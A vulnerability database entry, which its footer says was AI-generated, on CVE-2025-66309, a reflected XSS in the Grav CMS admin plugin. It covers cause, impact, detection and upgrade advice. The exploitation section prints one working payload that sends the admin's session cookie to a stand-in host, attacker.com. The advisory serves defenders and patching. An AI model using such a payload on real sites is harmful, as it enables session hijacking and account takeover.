
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-66309 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Grav CMS admin plugin (getgrav/grav-plugin-admin), specifically in the /admin/pages/[page] endpoint's data[header][content][items] parameter, located in the "Blog Config" tab. It affects Grav admin plugin versions up to and including 1.10.50 (Grav core versions prior to 1.8.0-beta.27). The vulnerability was published on December 1, 2025, and a fix was released the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 6.2 (Medium) (GitHub Advisory, Github Advisory).
The root cause is improper neutralization of user-controlled input before it is rendered in a web page (CWE-79). The Grav admin plugin fails to validate or sanitize the data[header][content][items] parameter in GET requests to /admin/pages/[page], allowing an attacker to inject arbitrary JavaScript. The injected payload is reflected directly in the HTTP response and executed in the victim's browser when they visit a crafted URL. The fix involved adding SafeRender functions to the selectize.js component that HTML-escape option and item text by default, and applying the |e Twig escape filter to relevant template fields (GitHub Advisory, Patch Commit).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser session of an authenticated Grav admin user who clicks a malicious link. This can result in session cookie theft, account compromise, unauthorized actions performed on behalf of the victim (such as modifying page content), user redirection to phishing sites, and website defacement. While the direct system impact on the vulnerable component is limited (low confidentiality and integrity), the subsequent system impact is rated high for confidentiality, integrity, and availability, reflecting the elevated privileges of the targeted admin session (GitHub Advisory).
A proof-of-concept (PoC) payload is publicly documented in the GitHub Security Advisory, demonstrating injection via the Blog Config > Items field in the Grav admin panel. Exploitation requires the attacker to have high privileges (admin access) to craft the malicious URL, and also requires active user interaction — a victim admin must click the crafted link. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.032% (10th percentile), indicating low near-term exploitation probability (Github Advisory, Feedly).
/admin panel./admin/pages/[page] with an XSS payload injected into the data[header][content][items] parameter, e.g.:/admin/pages/my-page?data[header][content][items]="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>/admin/pages/[page] containing URL-encoded script tags or HTML injection characters (e.g., %22%3E%3Cscript%3E, "><script>) in the data[header][content][items] query parameter; outbound connections from admin browsers to unknown external domains shortly after accessing admin pages./admin/pages/ endpoints with anomalous, encoded payloads in query strings; repeated access to admin page endpoints from unfamiliar IP addresses.The vulnerability is fixed in Grav admin plugin version 1.11.0-beta.1 and Grav core version 1.8.0-beta.27. Administrators should upgrade the getgrav/grav-plugin-admin package to at least 1.11.0-beta.1 immediately. As interim mitigations: restrict admin panel access to trusted IP ranges, limit admin accounts to only necessary personnel, implement a Web Application Firewall (WAF) to detect and block reflected XSS attempts, and enforce additional input validation and output encoding. Monitor admin interface access logs for suspicious activity (GitHub Advisory, Patch Commit).
The vulnerability was reported by security researcher marcelomulder and coordinated by nmmorette, with the advisory published by Grav maintainer rhukster on December 1, 2025. The fix was bundled with several other security fixes in the same commit, addressing user enumeration, stored XSS in group display names, and XSS in taxonomy fields, indicating a broader security audit of the admin plugin (GitHub Advisory, Patch Commit). No significant broader media coverage or notable community discussion beyond the advisory has been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."